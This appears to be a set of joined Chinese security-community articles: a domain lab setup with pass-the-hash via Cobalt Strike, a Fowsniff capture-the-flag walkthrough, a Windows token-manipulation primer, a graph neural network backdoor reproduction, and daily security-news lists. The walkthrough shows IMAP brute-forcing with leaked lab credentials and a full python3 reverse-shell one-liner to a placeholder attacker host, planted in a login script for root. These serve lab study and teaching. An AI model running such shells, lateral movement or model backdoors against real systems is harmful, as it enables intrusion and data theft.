##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在上篇文章中《走进森林深处一》中对kerberos从产生的原因到不断完善的过程有了一个讲解，这无疑是青涩的。理论知识往往需要伴随着实践一起才能有更好的理解。但是在看后文之前，应该距离上文已经有了一段时间，望君可以再次去温习下上文，做一个良好的衔接。这是一个实战和理论相结合的系列，所以搭建靶场显得必不可少。翻阅了很多网现成的靶场，发现一个简单且操作方便的，以此来作为接下来我们学习的环境。
## 靶场介绍
红日靶场作为一个学习环境是一个不错的选择，其提供了最简单的域环境。对于电脑配置低下的读者很友好，对于害怕麻烦的读者很方便。
三台机器：
windows2008 域控 （host-only）
windiws 7 web服务器 （双网卡 host-only + 乔接）
windows 2003 （host-only）
## 靶场下载
<http://vulnstack.qiyuanxuetang.net/vuln/detail/2/>
## 靶场搭建
**1.导入靶场**
将下载好的虚拟机文件导入虚拟机
**2.配置虚拟机的网络模式，梳理下网络架构。**
1.win7通向外网，通向域
2.08在域内不出网
3.03在域内不出网
所以网卡配置如下：
win7配置两张网卡
桥接模式让其通向外网，仅主机模式让其通向域内。
win08配置网卡
win03配置网卡
**3.查看配置情况**
剩余命令请自行收集验证虚拟机搭建是否成功，但其实到此虚拟机已经可以满足使用。
## 总结
此文讲述了在后续文章中所有复现以及细节的基本环境，所以搭建此靶场有很大的必要性。你我终有一天也会发现理解事物的本质是如此重要。记得在最早学习域渗透的知识时，经常听到的一句话就是:“内网的本质就是信息收集”，然后文章总是抛出一大搜集域信息的命令。
如图所示，这些命令的应用场景以及命令的意图所为何事？
例如:查看域管理员有哪些可以在令牌窃取时快速定位域管进程，找到域控主机在我们使用14068这种漏洞时需要给出域控的地址等，又或者找到域控主机地址就如同我们确定了域内的首要目标一样。但是此系列文章与其他文章不同的是，此文不会将所有信息搜集命令一同给你。只会在合适的时间段结合合适的场景抛给读者…
## PTH在CobaltStrike中自动化
PTH是(Pass The Hash)的简写，在Hash传递中，传递的就是NTLMhash值。
1.用户输入username、password、domainname（交互式才需要这个步骤），客户端会计算hash值保存在本地；
2.客户端将username明文发给DC；
3.DC生成一个16Byte的随机数（challenge）发送给客户端；
4.客户端通过运算生成一个响应值response=f(hashes,challenge,other)=>other根据版本变化，例如时间戳来防止回访等；
5.客户端将响应值发送给DC；
6.DC经过同样的运算result =
f(hashes,challenge,other)，然后比较result和response，一致就验证通过，不一致则验证不通过；
7.备注：目标不一定是DC，hash对应的账号所登录的（有缓存的）工作站也可以。
由于本文讲解的是内网相关知识，所以上文搭建的靶场不再进行打点和外网渗透，直接上传exe木马至win7主机然后运行上线。
### 1.查看当前主机是否存在域，当前主机的IP地址
`ipconfig /all`
根据主DNS后缀可知存在域，然后获得IP地址为192.168.52.143
### 2.扫描内网存活主机
### 3.开启win7端口转发
开启本地win7端口转发非常有必要，因为看过第二篇文章的人都非常清楚，域内的两台主机不出网。如果不做端口转发，shell不能从内网直接上cs云
IP地址填写上文ipconfig命令获取到的地址，端口选用未被占用的端口。会话选择已经上线的shell，然后随便起个名字。
### 4.Mimikatz获取当前登陆Hash
### 进行PTH自动上线
选中端口扫描到的其他两台内网主机，然后选择psexec和psexec64模块。
选择抓取到hash，选择在目标机器上做的端口转发的listen
看到有一台主机通过端口转发回连，奇怪的是明明在pth中选择两个主机却只回连一台。原因是因为2003的那台机器是32位的系统，所以在pth中应该使用psexec模块。
这就是实战中需要注意的点，没回来的shell说明版本不兼容，使用不同版本的pth对内网进行pth爆破。
## 值得思考的是
psexec的原理是他会自动测试内网中存在administartor权限相同密码的主机，成功后会建立连接。这种连接可以通过net use \ip\c$
来建立，然后生成cs的马传到目标机器然后通过计划任务运行。而cobaltstrike的psexec模块只是将这些步骤一键化包装。
## 总结
后文在时间充足的情况下将会用原生的方式进行pth然后上线cs，或许拿到shell使其上线我们的cs不是我们最根本的目的，我们的目的是在其中的操作中我们能学到什么，他的原理是什么。终有一天你我会发现事物的本质是如此的重要…… | 社区文章 |
# 渗透测试实战-Fowsniff靶机入侵+HTB(hackthebox)入坑
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
大家好，爱写靶机入侵文章的我又来了！本次靶机为Fowsniff，因为不是很难内容不多，但是有些情况肯定在真实的攻击环境中还是有可能碰到和利用的，但是为了小弟还是在文章后面小弟加入了国外的一个在线靶机入侵测试平台的基础入坑第一篇。
## 靶机安装/下载
Fowsniff靶机下载：<https://pan.baidu.com/s/1dvCJijStPYkeGtoSaLyg7A>
靶机IP: 172.16.24.55
攻击者ip：172.16.24.38
## 实战
#### Fowsniff靶机入侵
第一步老规矩探测ip：
（这里有小伙伴要问了，为什么我有些靶机探测不到ip呢？其实大家可以通过另外一种方法，如：直接用nmap探测网段的80端口、22端口，这样会发现有些如arp-scan等一些工具无法探测出靶机IP的问题）
下一步自然就是端口扫描了，小弟这里还是使用nmap神器完成：
通过扫描可以看到该靶机开放了4个端口，除了80、22端口，还有一个pop3和imap端口，如果有小伙伴看过小弟前面几篇文章的话，您肯定知道，pop3是什么东西干嘛用的。
下一步我们还是一样，查看80端口，看能不能突破，如图：
可以看到首页上还是比较干净的，那么我们还是继续使用目录猜解工具跑一下目录看看，这里您可以使用dirb啊、御剑啊等等，小弟这里使用 gobuster
来完成这个工作，
命令：gobuster -u <http://172.16.24.55> -s 200,301,302 -w
/Users/d3ckx1/Desktop/wordlists/directory-list-2.3-my.txt -t 35
（命令介绍：-u 是目标IP/域名；-s 是http返回值；-w 是目录字典 -t 是线程）
通过目录猜解可以看到没有出现可疑的目录，那么根据这些靶机的尿性，突破口肯定是在首页或者其他页面，我们把目光放在首页上
通过首页上的接受，说明网站被人搞了，[@fowsniffcorp](https://github.com/fowsniffcorp
"@fowsniffcorp")的信息肯定被攻击者泄漏放在互联网上了，这时候不用怀疑是时候表演表演真正的谷歌技术了，
1.打开谷歌
2.输入 [@fowsniffcorp](https://github.com/fowsniffcorp "@fowsniffcorp") 回车
就出现了这个网站：<https://pastebin.com/NrAqVeeX>
在这个泄漏的信息里我们拿到一些账户和加密的密码
下一步我们需要把这些md5的密文解密并跟账户分开保存，方便后面的破解工作，批量md5密文解密小弟用了somd5的平台，地址：
<https://www.somd5.com/batch.html>
可以看到只有一个密文无法解密，但是不影响我们继续下一步工作，这个时候我们把目标放在imap服务上，我们先探测一下看看这个服务，小弟这里使用msf来，您也可以在前面探测的时候直接加上nmap的
script模块
可以看到这个服务是正常使用的，下一步我们就是使用刚刚获取到的账户密码破解试试，这里小弟还是继续使用hydra来完成，您也可以使用其他工具，命令如下：
hydra -L /Users/d3ckx1/Desktop/imap-user.txt -P
/Users/d3ckx1/Desktop/mailcall-pass.txt imap://172.16.24.55
成功破解出密码：seina ：scoobydoo2，
下一步我们试着登陆看看，到了这里有小伙伴就要问了，这个服务这么登陆呢？这里你可以使用命令行来登陆，也可以使用foxmail来登陆，小弟这里使用foxmail来登陆，配置如下：
1.设置-新建
2.接收服务器类型-选择“imap”
3.2个服务器都写你的靶机ip
配置好以后，收到了2个邮件，其中在一个邮件里收到了一个密码，如图：
密码为：S1ck3nBluff+secureshell
下面我们使用这个密码去登陆 “baksteen”账户，为什么是他呢？因为第二封邮件他回复了。。。。
成功登陆了，下一步就是提权了，老规矩我们在/tmp目录下上传2个提权脚本，如图：
这里说一下，可千万别忽略和小看提权脚本哦，你可能能在这里找到突破口。
在运行“linuxprivchecker.py”的时候可以看到靶机只安装了python3，
通过另外一个脚本，没发现什么突破口，
到了这里小弟被卡了一段时间，最后小弟因为下班回家，又重新登陆了一下这个ssh，看到登陆的banner引起了我的警觉…
这尼玛肯定又问题，使用我在用户目录下面查看，如图：
.viminfo文件
发现可以文件 /opt/cube/cube.sh
我们切换目录下查看一下，这个文件权限如何
下面就是修改这个文件，
我们在后面加上我们的反弹shell，
这里的shellcode为：python3 -c ‘import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“你的ip”,6666));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,”-i”]);’
（注：这里可以通过前面已经知道该靶机只有安装python3，故前面是 python3.）
保存！然后我们在本机运行nc来监听接收6666端口流量
到了这里就比较重要了，这里需要另外开一个命令行，重新去登陆刚刚“baksteen”ssh账户，如图：
在这里输入刚刚邮箱里的ssh密码后，我们就马上得到了一个root_shell
最后拿flag
本靶机完！！
## 结语
通过这篇文章，可以发现有很多场景再平时正常入侵/渗透中还是可以碰到的，如前面第一篇靶机测试中，针对该目标的google的信息搜集工作，在提权时，出现的一个大大的banner，我相信正式环境中也是有的，小伙伴们以后也可以通过查看这个文件是否有权限来写入shellcode来完成提权，在第二篇文章中，可以查看js文件，不一定会有收获哦！ | 社区文章 |
# 详解令牌篡改攻击（Part 1）
|
##### 译文声明
本文是翻译文章，文章原作者 niiconsulting，文章来源：niiconsulting.com
原文地址：<https://niiconsulting.com/checkmate/2019/11/token-manipulation-attacks-part-1-introduction-to-tokens-and-privileges/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在这一系列文章中，我们将讨论基于Windows令牌（Token）的攻击方式，全面理解令牌、特权（Privilege）等知识点，了解令牌及特权在Windows系统安全架构中的实现机制。
令牌篡改攻击（Token Manipulation
Attack）是多个APT组织及恶意软件常用的一种技术，可以用来在受害者系统上获取高权限，或者以其他用户身份执行操作（用户仿冒）。
MITRE上给出了使用该技术的相关APT组织及涉及到的工具：
令牌篡改实际上并不完全属于漏洞利用范畴，这里我们滥用的是Windows系统自身的功能，通过某些Windows
API函数来修改调用进程的安全上下文，以便模拟另一个进程（通常是低权限进程）的安全上下文。模拟过程可以通过目标进程的线程来完成，后面我们再详细讨论这一点。Windows使用这种功能来修改调用进程所属线程的安全上下文，将其修改成其他用户的安全上下文，以执行某些操作。
Windows系统中有各种用户，比如`System`、`Network Service`、`Local
Service`以及`Administrator`账户（组）及普通域用户。这些用户账户都运行在不同的安全上下文中，具备一定级别的访问权限。默认情况下，`System`在本地系统中具备最高权限。在大多数情况下，恶意程序希望窃取运行在`System`安全上下文中的进程令牌，以获得最高权限。
## 0x01 令牌
在分析这些技术前，我们先来了解下令牌及特权的基本知识。
令牌（Token）或者访问令牌（Accss Token）是一个内核对象，用来描述进程或线程所使用的安全上下文。
访问令牌中包含各种信息，比如安全标识符（SID，Security Identifier）、令牌类型（Token
Type）、用户及组信息、权限、登录会话（Logon Session）等，系统会在用户登录时分配访问令牌。
为了执行各种操作或者使用Windows中的各种资源，进程必须使用Windows句柄打开或者创建对象，才能访问内核对象。内核会根据访问令牌赋予进程匹配的访问权限。
### 访问令牌创建
* 当用户登录主机时，系统会创建访问令牌。
* 检测密码是否正确，执行认证过程。
* 在安全数据库中检查用户详细信息。
* 检查用户是否属于内置的管理员组中，如果满足条件，则生成两个令牌：完整的管理员访问令牌及标准用户访问令牌。
* 如果用户不属于内置管理员组，则只会生成标准用户访问令牌。
访问令牌在Windows系统的UAC（用户访问控制）功能中发挥重要作用。
当属于内置管理员组的用户登录时，系统并没有向用户提供完整的管理员访问令牌。Windows系统会为该用户创建拆分（split）令牌。这里有两种类型的拆分令牌：“Filtered
Token”（过滤令牌）及“Elevated Token”（提升令牌）。
当用户分配的是Filtered Token时，基本意味着用户运行在中完整性（medium
integrity）级别上，被剔除了管理员组权限及SID，这意味着用户无法直接执行各种管理任务。为了执行管理任务，用户必须通过UAC认证，或者输入正确的凭据。
当用户通过UAC认证或输入正确凭据后，系统会给用户分配Elevated Token，用户就可以执行管理任务。Elevated
Token是带有高完整性的令牌，其中包括管理员组的SID及权限。
图. 执行管理任务时弹出确认窗口
图. 用户需输入凭据以执行管理任务
如果正确配置UAC，那就能有效发挥该机制的安全功能。
如果大家想全面理解UAC，可以参考官方提供的[这篇文章](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works)。
### 令牌机理
为了进一步理解Windows中的令牌对象，我们来看一下令牌的内部机理（比如令牌对应的内核数据结构）。这里我们使用WinDbg来查看内核数据结构。
首先，我们来观察`TOKEN`结构。
在上图中，我们可以看到`TOKEN`数据的完整结构，该结构中包含其他一些数据结构，这些结构用来定义与令牌有关的各种属性及信息，与登录用户密切相关。
该结构中包含`TokenId`、`Privileges`数组，定义了对应该用户所分配的所有特权，`TokenType`定义了令牌类型：`Primary`或者`Impersonation`等。
接下来观察`TOKEN`结构中的部分数据结构。
`SEP_TOKEN_PRIVILEGES`结构中包含与令牌相关的特权的所有信息，其中`Present`为令牌当前可用的权限；`Enabled`为已启用的权限；`EnabledByDefault`为默认情况下已启用的权限。
`TOKEN_TYPE`为枚举类型，其中定义了令牌类型是否为`Primary`或者`Impersonation`（后续文章中会详细分析这方面内容）。
`SECURITY_IMPERSONATION_LEVEL`也是一个枚举类型，其中指定了不同常量，用来决定调用进程可以在哪种级别模拟目标进程。
常量的定义可参考微软[官方文档](https://docs.microsoft.com/en-us/windows/win32/api/winnt/ne-winnt-security_impersonation_level)，具体如下：
我们将使用`TOKEN_TYPE`及`SECURITY_IMPERSONATION_LEVEL`常量来模拟令牌，可根据具体情况来设置相应值，比如是使用`Primary`令牌来创建进程，或者是使用`Impersonation`令牌来模拟某个进程。
`SID_AND_ATTRIBUTES`结构定义了SID（安全标识符）及SID的属性。
## 0x02 特权
一般而言，特权（Privilege）这个词指的是上级单位根据某些条件赋予某人或者某个组织的一种特殊权利。
与之类似，在Windows系统中，管理员可以为用户分配某些特权以执行系统相关的活动。默认情况下系统会给用户分配一些特权，而管理员也可以使用“本地安全策略设置”在本地为用户分配一些特权。
特权决定哪个用户可以控制系统资源，以执行系统相关任务，如关机、调试被其他进程使用的进程内存、将驱动载入内存中、备份文件及目录等。
Windows系统中可用的特权常量可参考[此处资料](https://docs.microsoft.com/en-us/windows/win32/secauthz/privilege-constants)。
在上文中，我们提到`SEP_TOKEN_PRIVILEGES`结构中包含`Enabled`及`EnabledByDefault`成员，这意味着分配给用户的所有特权默认情况下不一定处于启用状态，只有某些特权在分配时被启用，如果需要其他特权来执行系统相关任务，则必须通过外部方式启用这些特权。
标准用户已启用的特权如下图所示：
如上图所示，只有`SeChangeNotifyPrivilege`特权处于启用状态，分配给用户的其他特权处于禁用状态。为了使用这些特权，我们首先必须执行启用操作。
在本系列文章中，我们将启用`SE_DEBUG_NAME`特权，该特权可以帮我们调试无法访问的进程或者运行在`SYSTEM`账户下的进程。
下面来观察不同用户所对应的令牌，这里我们来观察运行在标准用户及管理员用户安全上下文中的`notepad`进程所对应的令牌。
我们使用WinDbg来查看目标进程（这里为`notepad.exe`）的令牌。
**标准用户的令牌状态如下：**
上图中可以看到进程对应的`Session ID`（已登录的会话）、`Impersonation
Level`、`TokenType`等，该进程的令牌类型为`Primary`。此外上图顶部的输出信息表明对应的线程没有处于模拟状态，使用的是`Primary`令牌。
从图中可知分配给该进程的特权与分配给普通用户的特权一样，因为该进程运行在标准用户的安全上下文中。
`Elevation Type`的值为`3`（`Limited`，受限），这表明这是一个受限令牌，其中剔除了管理员特权，禁用了管理员组。
**管理员用户的令牌状态如下：**
上图的令牌信息与标准用户类似，但分配的特权要比标准用户要多得多，基本上所有特权都会分配管理员用户。此外，我们可以看到这里的`Elevation
Type`为`2`（`Full`，完整），表明这是提升（Elevated）令牌，没有被剔除某些权限及用户组。
> 备注：只有当UAC启用时，`Elevation
> Type`才为`2`或者`3`，当UAC禁用或者用户为内置管理员账户或者服务账户时，`Type`等于`1`。
## 0x03 总结
在本文中，我们讨论了访问令牌以及访问令牌的使用场景、生成时间点、`TOKEN`内部结构以及与令牌相关的许多知识点。这些知识点非常重要，可以帮我们理解令牌在Windows系统用户及进程的安全上下文的工作方式。理解这些内容后，在下文中我们将继续研究，使用Windows
API来发起令牌篡改攻击。 | 社区文章 |
# 如何攻击图神经网络
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
目前，图结构的数据被应用于各种安全敏感领域(例如恶意软件分析,内存取证,欺诈检测，药物发现等)，而随着图神经网络的兴起，研究人员尝试将图神经网络应用于这类数据上实施分析，发现都能达到非常先进的水平。在这种趋势下，图神经网络是否安全，便是安全研究人员关注的重点，本文分析并复现首次实现针对图神经网络进行后门攻击的研究工作，该工作发表于安全四大之一的USENIX
Security 2021，它将提出的攻击命名为GTA。
## 基础
### 特点
同样是后门攻击，图上的后门攻击有哪些特点呢？
目前的后门攻击基本是在图像领域展开研究的，与结构化、连续的数据(如图像)不同，图数据本质上是非结构化和离散的，需要具有相同性质的查询触发器。GTA将触发器定义为特定的子图，包括拓扑结构和描述(节点和边)特征，这为攻击者提供了一个大的设计范围。此外GTA不是为所有图定义一个固定的触发器，而是根据单个图的特征生成触发器，这优化了攻击的有效性(例如，误分类置信度)和规避性(例如，扰动幅度)。如下所示，第三行是被GTA植入触发器后的图，图中红色的子图是触发器，可以看到，每个图的触发器都是不同的。
总的来说，GTA本质上也是要生成一个木马GNN，训练该模型时的核心是双层优化，对木马GNN和触发器生成器的参数进行轮流优化，但是由于假设攻击者没有访问下游分类器的能力，因此优化的目标是针对它们的潜在表达形式（embedding）的L2距离，即要保证正常GNN和木马GNN在干净输入时要保证较为相似的潜在表达输出，也要保证木马GNN在带有木马的输入（非攻击目标类）和目标类干净输入时较为相似的潜在表达输出。
我们知道，GNN被应用的领域可以被简单的分为两类，分别是inductive task和transductive
task，前者的代表性任务就是图分类，后者的代表性任务就是节点分类。而GTA对两者都可实施攻击。
### Inductive task和Transductive task
这里我们顺便再提一下inductive task和transductive task的区别与联系。
inductive task翻译成中文可以叫做 **“归纳式学习”** ，顾名思义，就是从已有数据中归纳出模式来，应用于 **新的数据和任务**
。我们常用的机器学习模式，就是这样的：根据已有数据，学习分类器，然后应用于新的数据或任务
transductive task翻译成中文可以叫做 **“直推式学习”** ，指的是由当前学习的知识直接推广到给定的数据上。其实相当于是
**给了一些测试数据** 的情况下，结合已有的训练数据，看能不能推广到测试数据上
我们以下图为例，可以更直观地进行解释
设现在的任务是：已知ABC的类别，求问号的类别
inductive
learning就是只根据现有的ABC，用比如kNN距离算法来预测，在来一个新的数据的时候，还是只根据5个ABC来预测；而transductive
learning直接以某种算法观察出数据的分布，这里呈现三个cluster，就根据cluster判定，不会建立一个预测的模型，如果一个新的数据加进来就必须重新算一遍整个算法，新加的数据也会导致旧的已预测问号的结果改变。
### 图神经网络GNN
GNN以图G为输入，包括其拓扑结构和描述特征，并为每个结点v生成表示(embedding) $z_v$，设Z表示矩阵形式的节点嵌入。
我们考虑一个基于领域聚合范式的GNN:
其中，Z(k)是第k次迭代后的节点嵌入，同时也是传递给邻居节点的message，而aggregation
函数则依赖于来自上一次迭代的邻接矩阵A、可训练的参数、以及节点嵌入Z(k-1)
通常Z(0)被初始化为G的节点特征。为了得到图嵌入$z_G$,readout函数会集合来自最后一次迭代K的节点嵌入：
总的来说，GNN建模了一个函数f，为G生成了$z_G$=f(G)
### 预训练GNN
对于有标签数据非常稀疏或者训练非常昂贵的领域来说，使用预训练模型是非常好的选择。在迁移学习的环境下，如下所示，一个预训练的GNN
f与下游的分类器h一起组成了端到端的系统
举例而言，对于一个化学药物分类任务，给定一个分子的图G，首先将其映射到其嵌入$z_G$=f(G),然后进行分类$y_G=h(z_G)$
与f相比，h明显更简单(比如就是一个全连接层)。注意，训练f的数据往往与下游任务不同，但具有相似的特征(例如，一般分子与有毒分子)。经常有必要对系统进行微调。可以选择执行full-tuning来同时训练f和h，或者只训练h但f固定的partial-tuning。
### 威胁模型
我们假设的威胁模型如上图所示，给定一个预训练的GNN $f _{\theta_0}$,攻击者在不修改架构的同时修改参数伪造一个GNN $f_ \theta$
我们假设敌手有能力接触到下游任务所用的数据集。在将$f_\theta$和下游分类器h集成为一个端到端系统后，用户会进行微调以满足下游任务。为了让攻击更实际，我们假设攻击者不知道用户使用的分类器h的情况，也不清楚是如何微调系统的。
## GTA攻击
我们以图分类任务为例来说明。
给定一个预训练GNN
$\theta_0$，攻击者希望伪造一个木马模型$\theta$，它会让系统对嵌入了触发器的图误分类为指定的类$y_t$,而在正常的图上是正常的分类
我们将触发器设计为子图$g_t$(包括拓扑结构和描述特征),并设计一个mixing
函数m(.;$g_t$)，用于将图G和触发器$g_t$混合从而生成一个嵌入了触发器的图m(G;$g_t$)
因为攻击者的目标可以定义为：
h是微调后的下游的分类器，G代表的是任务中的任意图。直观上，第一个目标规定了所有触发器嵌入图都被误分类为目标类(即攻击有效性)，第二个目标则保证了原始gnn和木马gnn在良性图上的行为是不可区分的(即攻击规避性)。
不过通过上式来寻找最优的触发器和木马模型是non-trivial的：
•由于攻击者无法访问下游模型h，直接根据上式优化$g_t$和$ \theta$是不现实的。
•由于$g_t$和$ \theta$的相互依赖，每次更新$g_t$都需要对$ \theta$进行昂贵的计算。
•存在多种组合方式，这意味着存在一个禁止性搜索空间。
•对所有图使用通用触发器$g_t$忽略了单个图的特征，易于被检测。
为了解决以上问题
1.我们不是将$g_t$和$ \theta$与最终预测相关联，而是根据特征表示对它们进行优化;
2.采用双层优化公式，$g_t$作为超参数，$ \theta$作为模型参数，交叉优化;
3.mixing函数m作为一个有效的替换算子，在G内找到并替换与$g_t$最相似的子图g;
4.我们引入了自适应触发器的概念，即$g_t$对每个给定的图G进行特别优化（每个图G都会得到一个特定的gt）。
接下来我们分别介绍双层优化问题、mixing函数、以及触发器生成等攻击的关键部分
### 双层优化问题
我们已经知道，攻击者从下游任务数据集取样得到的数据由实例(G,$y_G$)组成,G是图，$y_G$是标签
我们使用$g_t$和$ \theta$分别作用upper-level和lower-level变量来构建bi-level 优化目标
上式中，$l _{atk}$和$l_ {ret}$分别代表量化攻击有效性和准确性保持的损失项，对应于我们前面定义的目标
因为无法访问分类器h，我们不再将$l _{atk}$和$l_ {ret}$与最终预测关联，而是根据潜在表示(latent
representation)定义它们。
我们把数据集Dfen为两部分，D[$y_t$]是目标类t的图，D[\$y_t$]是其他类的图
$l _{atk}$确保$f_ \theta$会为D[$y_t$]以及D[\$y_t$]中嵌入了触发器的图生成相似的嵌入
而$l _{ret}$则确保$f_ \theta$和$f_ {\theta0}$为D中的图生成相似的嵌入，即满足如下公式
其中$ \triangle$用于衡量嵌入的不相似度，在我们的实验中可以使用L2距离
不过准确求解上式的代价是非常昂贵的，由于是bi-level公式，每当$g_t$被更新，就需要重新计算$ \theta$(换句话说，需要在D上重新训练f)
所以我们提出了近似的求解算法，通过在$l _{atk}$和$l_ {ret}$上交替执行梯度下降来迭代优化$g_t$和$ \theta$
在第i次迭代时，给定当前的触发器g^{(i-1)} _t_ 以及模型$
\theta^{i-1}$,我们首先通过固定g^{(i-1)}_t，在$l{ret}$上执行梯度下降计算$
\theta^{(i)}$。在实际操作中，这一步会运行$n _{io}$次迭代，这个参数代表的是inner-outer optimization
ratio，用于平衡$l_ {atk}$和$l _{ret}$的优化。然后在对$ \theta^{(i)}$执单步梯度下降后通过最小化$l_
{atk}$得到g^{(i)}_t
对于$g_t$的梯度可以通过下式近似
### Mixing 函数
mixing函数满足两个目的：
1.对给定的触发器$g_t$，需要在图G中找到最适合替换的子图g
2.使用$g_t$替换g
这里存在很多组合方法，我们将Mixing function限制为一个有效的替换操作符，也就是说，m(G;$g_t$)会使用$g_t$替换G中的g
为了最大化攻击的规避性，我们最好使用一个类似于$g_t$的子图
因此，我们就有了约束:1.g和gt的size是一样的，比如具有相同数量的节点；2.他们有最小的图编辑距离
在图G中找到与gt相似(子图同构)的子图g是一个NP难的问题，我们采用了基于回溯的算法VF2来满足我们设置的情况。VF2通过映射gt中的下一个节点到G中，并反向操作，由此递归地扩展部分匹配。当我们搜索到最相似的子图时，我们就保持当前最高的相速度并且在部分匹配超过这个阈值时提前终止匹配。
### 触发器生成
在前面的式子中，我们假设对于所有的图都是应用了统一的触发器，尽管这样实施起来比较简单，但是这儿还存在可以优化的地方：
1.忽略了单个图的性质，并且攻击可能没那么有效；
2.每个嵌入了触发器的图都是共享同样的pattern，这会让其更容易被检测出来
那么是否可以对每个图都生成特定的触发器并能够最大化有效性和规避性呢？
我们设计了一个自适应的触发器生成器函数$ \phi_w(.)$，给定G的子图g，它会生成触发器$g_t$
从high
level来看，该函数包括两个关键的操作：1.首先把g中的每个结点i映射到其编码$z_i$，这个编码了g的节点特征和拓扑结构；2.其应用了两个生成器函数，第一个讲g的编码映射到$g_t$的拓扑结构，第二个将g的节点编码到$g_t$的节点特征
**怎么编码g的特征和上下文呢？** 我们使用图注意力机制。给定节点对i,j,我们计算注意力系数$
\alpha_{ij}$，这表示j对于i的重要程度（基于他们的节点特征以及拓扑关系）,然后我们应用非线性转换计算其邻居编码的聚合（权重系数就是相应的注意力系数）作为i的编码。我们使用D训练一个注意力网络，在下文中我们将i的编码表示为$z_i$
**怎么将g的编码映射到$g_t$?** $g
_t$包括两部分，即拓扑结构和节点特征。给定两个节点i,j以及对应的编码，我们使用参数化的余弦相似度定义它们在$g_t$中的连接度 A_{i,j}
其中$W_c$是可学习的，$1_P$是指示函数，如果p为真则返回1，否则返回0.如果相似度分数超过0.5则i,j在$g_t$中是相连的
同时，对于g中的节点i，我们定义其在$g_t$中的特征为：
我们将这些可学习的参数都称为w，将g的编码映射到{$X _i$}和{$A_ {ij}$}作为触发器生成器函数$ \phi_w(g)$
**怎么解决g和$g_t$之间的依赖关系？** 大家可能会发现mixing 函数 g=m(G;$g_t$)和触发器生成器函数$g_t=
\phi_w(g)$是相互依赖的。为了解决这个鸡生蛋蛋生鸡的问题，我们交错地更新g和$g_t$
我们随机选择g初始化，在第i次迭代时，我们首先基于i-1次迭代的得到的$g^{(i-1)}$来更新触发器g^{i}_t,然后基于g^{i}_t更新选中的子图g^{i}
### 整体流程
GTA攻击的整体流程如下所示
在其核心部分(4-6行)，交替更新模型$ \theta$，触发器生成器函数 $ \phi_w(.)$以及从每个图中选择的子图g
## 复现
### 安装DGL
在进行复现之前，我们先要额外安装一个库：DGL，这是为方便实现图形神经网络模型族而构建的。它提供了消息传递的多功能控制、通过自动批处理和高度调优的稀疏矩阵内核进行的速度优化，以及可扩展到数亿个节点和边的图形的多GPU/CPU训练。
由于DGL分cpu版本和gpu版本，所以安装的时候一定要适配自己的环境.
下图是我复现时安装所用的命令
### 加载数据及训练目标模型
论文提到使用7类公开的安全敏感的数据集，如下所示
表格中，Graphs是指数据集中图的数量，Avg.#Nodes是指平均每个图中的节点数，Avg.#Edge是指平均每个图中边的数量，Classes是指类的数量，Graphs[class]指class类的图的数量，target
class则是攻击者选择的攻击目标类
我们这里使用其中之一—AIDS
加载数据集后打印相关数据
可以看到和论文给的表格中的值是相符的，说明加载数据这一部分是没问题的
论文中提到可以实现三种SOTA模型，这里我们复现就以GCN为例,代码如下
训练模型
测试模型
结果如下
可以看到训练了40个epoch之后，准确率达到了96.30%
然后保存该模型，接下里进行后门攻击
### 后门攻击
主体代码
生成触发器
注入触发器
其中还有一些关键的地方，包括生成器的代码实现
以及训练生成器的代码实现
训练拓扑生成器
训练特征生成器
攻击代码运行后结果如下
可以看到攻击成功率达到了100%
## 参考
1.Xi Z, Pang R, Ji S, et al. Graph backdoor[C]//30th {USENIX} Security
Symposium ({USENIX} Security 21). 2021.
2.<https://docs.dgl.ai/>
3.Ryan A. Rossi and Nesreen K. Ahmed. The Network Data Repository with
Interactive Graph Analytics and Visualization. 2015. | 社区文章 |
# 5月29日安全热点 - Oracle计划去掉Java中的序列化功能
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 恶意软件 Malware
VPNFilter Stage 1分析
<http://t.cn/R1VtQfQ>
Android辅助类病毒研究报告
<http://t.cn/R1f5PDB>
快速进击的挖矿僵尸网络:单日攻击破10万次
<http://t.cn/R15J64E>
## 安全研究 Security Research
对IOTA的curl hash函数的密码学分析
<http://t.cn/R1fqjyp>
以太坊智能合约安全入门上下篇完整版
<http://t.cn/R1tKYHd>
360信息安全部发布数字货币钱包安全白皮书
<http://t.cn/R12EIKA>
CVE-2018-4990 Acrobat Reader堆内存越界访问释放漏洞分析
<http://t.cn/R1cfjAS>
哥伦比亚大学的三名研究人员创建了一种名为FontCode的技术在字符中嵌入隐藏的消息
<http://t.cn/R1cx360>
## 安全工具 Security Tools
EKFiddle:基于Fiddler研究恶意流量的框架
<http://t.cn/R1fqjb5>
SRCHunter一款基于Python的开源扫描器
<http://t.cn/R1cfjzg>
## 安全资讯 Security Information
Oracle计划去掉Java中的序列化功能
<http://t.cn/R1cx3i8>
python可能会允许安全工具查看运行时的行为
<http://t.cn/R1cx3J3>
【以上信息整理于 <https://cert.360.cn/daily>】 | 社区文章 |
# 4月9日热点 - 新型macOS后门程序浮出水面，被指与黑客组织“海莲花”有关联
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
360-CERT 每日安全简报 2018-04-09 星期一
## 【漏洞】
1.CVE-2018-1308：通过Apache Solr的DIH的dataConfig请求参数进行XXE攻击
<http://t.cn/RmVoqjM>
2.CVE-2018-2767：MySQL＆MariaDB：BACKRONYM漏洞允许SSL/TLS通讯降级
<http://t.cn/RAmN56a>
3.Debian信息泄漏和未经授权的访问设备漏洞
<http://t.cn/RmcMrOz>
4.Auth0是最大的身份即服务平台之一，受到严重身份验证绕过漏洞的影响
<http://t.cn/RmVyRpv>
5.在4.3.4之前的Iptanus WordPress文件上传插件不适用于WordPress错误处理设置属性，导致XSS。
<http://t.cn/RmVoIH4>
## 【安全事件】
1.思科Talos表示关键基础设施遭攻击和Smart Install protocol Misuse漏洞有关
<http://t.cn/Rm51HPg>
## 【安全资讯】
1.Bing Chrome下载广告推广Adware/PUP安装程序
<http://t.cn/RmVo66l>
